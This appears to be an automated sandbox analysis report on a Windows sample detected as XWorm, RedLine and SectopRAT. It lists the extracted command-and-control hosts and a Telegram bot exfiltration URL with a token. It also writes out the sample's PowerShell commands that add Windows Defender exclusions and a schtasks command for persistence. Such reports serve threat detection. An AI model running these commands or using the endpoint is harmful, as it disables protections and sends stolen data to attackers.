Analysis
- max time kernel
146s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
29/05/2024, 01:55
General
- Target c8edbc2a072ac9e68a46868aeb7c996aa5d1fe5f8afb3d8ff15b1be4cb3a52a1.exe
- Size 4.3MB
- Sample240529-cb864sef84
- SHA256 c8edbc2a072ac9e68a46868aeb7c996aa5d1fe5f8afb3d8ff15b1be4cb3a52a1
Malware Config
Extracted
-
xworm
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127.0.0.1:7000
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beshomandotestbesnd.run.place:7000
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Install_directory
%ProgramData%
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install_file
cmd.exe
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telegram
https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672
Extracted
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redline
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DOCX
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beshomandotestbesnd.run.place:1111
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Detect Xworm Payload 1 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
- SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
- SectopRAT payload 1 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
- Detects Windows executables referencing non-Windows User-Agents 1 IoCs
- Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs
- Detects executables embedding registry key / value combination indicative of disabling Windows Defender features 1 IoCs
- Detects executables packed with Themida 1 IoCs
- Detects executables using Telegram Chat Bot 1 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 2 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Themida packer 1 IoCs
Detects Themida, an advanced Windows software protection system.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 18 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\c8edbc2a072ac9e68a46868aeb7c996aa5d1fe5f8afb3d8ff15b1be4cb3a52a1.exe"C:\Users\Admin\AppData\Local\Temp\c8edbc2a072ac9e68a46868aeb7c996aa5d1fe5f8afb3d8ff15b1be4cb3a52a1.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\c8edbc2a072ac9e68a46868aeb7c996aa5d1fe5f8afb3d8ff15b1be4cb3a52a1.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'c8edbc2a072ac9e68a46868aeb7c996aa5d1fe5f8afb3d8ff15b1be4cb3a52a1.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\cmd.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'cmd.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "cmd" /tr "C:\ProgramData\cmd.exe"2⤵
- Creates scheduled task(s)
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3748 --field-trial-handle=2252,i,16022092570067181109,3235558581947505669,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
ModuleAnalysisCache
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_qewghhhh.go1.ps1
tmpDFC8.tmp
tmpDFFD.tmp
tmpE048.tmp
tmpE07C.tmp
tmpE0D7.tmp
memory/372-14-0x0000000075A50000-0x0000000075A51000-memory.dmp
memory/372-147-0x000000000B610000-0x000000000BB3C000-memory.dmp
memory/372-16-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/372-18-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/372-19-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/372-20-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/372-21-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/372-22-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/372-12-0x00000000000A0000-0x0000000000504000-memory.dmp
memory/372-0-0x00000000000A0000-0x0000000000504000-memory.dmp
memory/372-11-0x0000000004FB0000-0x000000000504C000-memory.dmp
memory/372-10-0x00000000000A0000-0x0000000000504000-memory.dmp
memory/372-6-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/372-7-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/372-150-0x000000000A530000-0x000000000A54E000-memory.dmp
memory/372-148-0x0000000008520000-0x0000000008596000-memory.dmp
memory/372-5-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/372-15-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/372-146-0x000000000AF10000-0x000000000B0D2000-memory.dmp
memory/372-144-0x000000000A420000-0x000000000A52A000-memory.dmp
memory/372-143-0x0000000009560000-0x00000000098B4000-memory.dmp
memory/372-142-0x00000000093E0000-0x000000000942A000-memory.dmp
memory/372-140-0x0000000008C00000-0x0000000008C22000-memory.dmp
memory/372-141-0x0000000008D10000-0x0000000008D5C000-memory.dmp
memory/372-130-0x0000000008920000-0x000000000895C000-memory.dmp
memory/372-129-0x00000000088A0000-0x00000000088B2000-memory.dmp
memory/372-128-0x0000000008DC0000-0x00000000093D8000-memory.dmp
memory/372-126-0x00000000068C0000-0x00000000068DE000-memory.dmp
memory/372-127-0x00000000058B0000-0x00000000058BE000-memory.dmp
memory/372-121-0x0000000006200000-0x000000000620A000-memory.dmp
memory/372-120-0x00000000067C0000-0x0000000006852000-memory.dmp
memory/372-118-0x0000000006210000-0x00000000067B4000-memory.dmp
memory/372-4-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/372-2-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/372-3-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/372-1-0x0000000075A50000-0x0000000075A51000-memory.dmp
memory/3092-24-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/3092-42-0x00000000063D0000-0x000000000641C000-memory.dmp
memory/3092-75-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/3092-70-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/3092-23-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/3092-25-0x00000000029D0000-0x0000000002A06000-memory.dmp
memory/3092-26-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/3092-69-0x00000000078D0000-0x00000000078D8000-memory.dmp
memory/3092-68-0x0000000007990000-0x00000000079AA000-memory.dmp
memory/3092-27-0x0000000005440000-0x0000000005A68000-memory.dmp
memory/3092-67-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/3092-28-0x0000000005310000-0x0000000005332000-memory.dmp
memory/3092-65-0x0000000007890000-0x00000000078A4000-memory.dmp
memory/3092-64-0x0000000007880000-0x000000000788E000-memory.dmp
memory/3092-63-0x0000000007850000-0x0000000007861000-memory.dmp
memory/3092-62-0x00000000078F0000-0x0000000007986000-memory.dmp
memory/3092-61-0x00000000076C0000-0x00000000076CA000-memory.dmp
memory/3092-60-0x0000000007660000-0x000000000767A000-memory.dmp
memory/3092-59-0x0000000007CC0000-0x000000000833A000-memory.dmp
memory/3092-58-0x0000000007550000-0x00000000075F3000-memory.dmp
memory/3092-57-0x00000000068F0000-0x000000000690E000-memory.dmp
memory/3092-47-0x0000000070380000-0x00000000703CC000-memory.dmp
memory/3092-46-0x0000000007310000-0x0000000007342000-memory.dmp
memory/3092-45-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/3092-44-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/3092-71-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/3092-41-0x0000000006150000-0x000000000616E000-memory.dmp
memory/3092-40-0x0000000005DC0000-0x0000000006114000-memory.dmp
memory/3092-30-0x0000000005B50000-0x0000000005BB6000-memory.dmp
memory/3092-29-0x0000000005AE0000-0x0000000005B46000-memory.dmp
memory/3196-114-0x0000000006290000-0x00000000065E4000-memory.dmp
memory/4060-93-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/4060-89-0x0000000005DC0000-0x0000000006114000-memory.dmp
memory/4060-79-0x0000000075A30000-0x0000000075B20000-memory.dmp
memory/4060-78-0x0000000075A30000-0x0000000075B20000-memory.dmp